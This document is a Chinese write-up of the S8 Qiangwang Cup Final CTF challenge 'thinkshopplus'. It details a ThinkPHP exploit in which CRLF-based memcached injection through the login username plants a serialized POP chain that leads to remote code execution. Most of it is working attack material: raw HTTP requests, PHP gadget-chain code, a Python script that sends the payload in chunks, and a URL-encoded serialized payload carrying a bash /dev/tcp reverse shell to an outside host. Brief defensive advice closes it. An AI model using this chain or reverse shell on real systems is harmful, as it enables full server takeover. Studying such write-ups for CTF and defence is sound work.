S8强网杯Final-thinkshopplus
字数 1156 2025-08-22 18:37:14
ThinkPHP框架漏洞利用:Memcached缓存注入与反序列化攻击
漏洞背景
这是一个关于ThinkPHP框架的安全漏洞利用案例,涉及Memcached缓存注入和反序列化攻击。该漏洞与S7初赛的thinkshopping题目类似,但增加了对MySQL的secure_file_priv限制,使得传统的文件读取方法失效。
漏洞原理
1. Memcached缓存注入
攻击者可以通过构造特殊的用户名,向Memcached服务器注入恶意数据。ThinkPHP框架在处理用户登录时,会将用户数据序列化后存储在Memcached中。
2. 反序列化漏洞
当系统从Memcached读取并反序列化用户数据时,如果数据中包含精心构造的恶意序列化对象,可以触发反序列化漏洞,导致远程代码执行(RCE)。
漏洞利用步骤
1. 确认Memcached注入点
通过发送特殊构造的用户名,可以注入Memcached数据:
POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: 172.20.64.1:36000
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70
username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin
其中关键部分是:
admin%00%0D%0A:截断用户名并换行set think:shop.admin|admin 4 500 101:Memcached set命令- 后面跟着序列化的用户数据
2. 构造POP链
利用ThinkPHP框架中的类构造POP链,实现反序列化到RCE:
<?php
namespace think\process\pipes {
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct($function, $parameter) {
$this->files = [new Pivot($function, $parameter)];
}
}
// 生成payload
$array = ['nestedArray' => new Windows('system', "bash -c 'sh -i &>/dev/tcp/192.168.110.111/3333 0>&1'")];
echo urlencode(serialize($array));
}
namespace think {
abstract class Model {}
}
namespace think\model {
use think\Model;
use think\console\Output;
class Pivot extends Model {
protected $append = [];
protected $error;
public $parent;
public function __construct($function, $parameter) {
$this->append['jelly'] = 'getError';
$this->error = new relation\BelongsTo($function, $parameter);
$this->parent = new Output($function, $parameter);
}
}
abstract class Relation {}
}
// 其他命名空间和类定义...
3. 分块传输Payload
由于Payload较大,需要分块传输:
import urllib.parse
import requests
import time
def poc_NmEEF(transmission):
headers = {
"Host": "172.20.64.1:36000",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=korn6f9clt7oere36ke7pj7m70"
}
res = requests.post(
url="http://172.20.64.1:36000/public/index.php/index/admin/do_login.html",
headers=headers,
data={"username": transmission, "password": "admin"},
verify=False
)
time.sleep(5)
return res.text
# 分块传输
encoded_data = "a%3A1%3A%7Bs%3A11%3A%22nestedArray%22%3BO%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22jelly%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A29%3A%22think%5Csession%5Cdriver%5CMemcache%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A28%3A%22think%5Ccache%5Cdriver%5CMemcached%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A5%3A%22jelly%22%3Bs%3A52%3A%22bash%20%2Dc%20%27sh%20%2Di%20%26%3E%2Fdev%2Ftcp%2F192%2E168%2E110%2E111%2F3333%200%3E%261%27%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A10%3A%22%00%2A%00options%22%3Ba%3A1%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A6%3A%22jelly%2F%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22session%5Fname%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7Ds%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A29%3A%22think%5Csession%5Cdriver%5CMemcache%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A28%3A%22think%5Ccache%5Cdriver%5CMemcached%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A5%3A%22jelly%22%3Bs%3A52%3A%22bash%20%2Dc%20%27sh%20%2Di%20%26%3E%2Fdev%2Ftcp%2F192%2E168%2E110%2E111%2F3333%200%3E%261%27%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A10%3A%22%00%2A%00options%22%3Ba%3A1%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A6%3A%22jelly%2F%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22session%5Fname%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D%7D"
decoded_data = urllib.parse.unquote(encoded_data)
block_size = 150
for i in range(0, len(decoded_data), block_size):
chunk = decoded_data[i:i+block_size]
length = len(chunk)
command = "set" if i == 0 else "append"
transmission = f"admin%00%0D%0A{command}%20think%3Ashop.admin%7Cadmin%204%20500%20{length}%0D%0A{chunk}"
poc_NmEEF(urllib.parse.unquote(transmission))
print("attack"+str(i))
4. 触发反序列化
使用账户密码admin/555555登录,触发反序列化:
POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: 172.20.64.1:36000
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70
username=admin&password=555555
关键点总结
-
Memcached注入语法:
- 使用
%00截断用户名 - 使用
%0D%0A插入换行符 - Memcached命令格式:
set key flags exptime bytes [noreply] value
- 使用
-
POP链构造:
- 利用
think\process\pipes\Windows类作为入口 - 通过
think\model\Pivot类传递恶意参数 - 最终到达
think\Request类的filter参数实现RCE
- 利用
-
分块传输技巧:
- 首次使用
set命令 - 后续使用
append命令拼接数据 - 每块大小控制在150字节左右
- 首次使用
-
触发条件:
- 需要知道有效的PHPSESSID
- 需要知道Memcached的key命名规则(
think:shop.admin|admin)
防御建议
- 对用户输入进行严格过滤,防止Memcached注入
- 更新ThinkPHP框架到最新版本
- 限制Memcached的访问权限
- 使用PHP的
unserialize_callback_func或allowed_classes限制反序列化类 - 对敏感操作进行二次验证
通过这种攻击方式,攻击者可以在目标系统上执行任意命令,完全控制服务器,因此该漏洞危害极大。